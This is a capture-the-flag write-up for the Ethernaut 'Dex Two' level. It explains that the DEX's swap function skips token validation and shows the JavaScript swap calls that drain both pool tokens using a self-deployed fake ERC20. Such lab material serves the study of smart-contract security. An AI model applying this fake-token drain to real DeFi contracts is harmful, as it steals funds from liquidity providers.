Writeups/Ethernaut/Dex Two
MediumEthernaut · Ethernaut2024

Dex Two

No Token Validation Allows Arbitrary Token Swap

Unlike Dex, `DexTwo.swap()` does not validate that the input token is one of the two official tokens. Deploying a fake ERC20 and adding it as the swap input tricks the DEX into releasing all of token1 and token2.

SolidityAMMFake TokenDeFi

00Overview

Unlike Dex, `DexTwo.swap()` does not validate that the input token is one of the two official tokens. Deploying a fake ERC20 and adding it as the swap input tricks the DEX into releasing all of token1 and token2.

01Deploy a fake ERC20 with arbitrary supply

javascript
// Deploy FakeToken with 400 supply, send 100 to Dex

02Drain token1 using fake token

javascript
await contract.swap(fakeToken, token1, 100)  // 100 fake -> 100 token1

03Drain token2 using fake token

javascript
await contract.swap(fakeToken, token2, 200)  // 200 fake -> 100 token2

04Level Completed

Dex Two — completion screenshot 1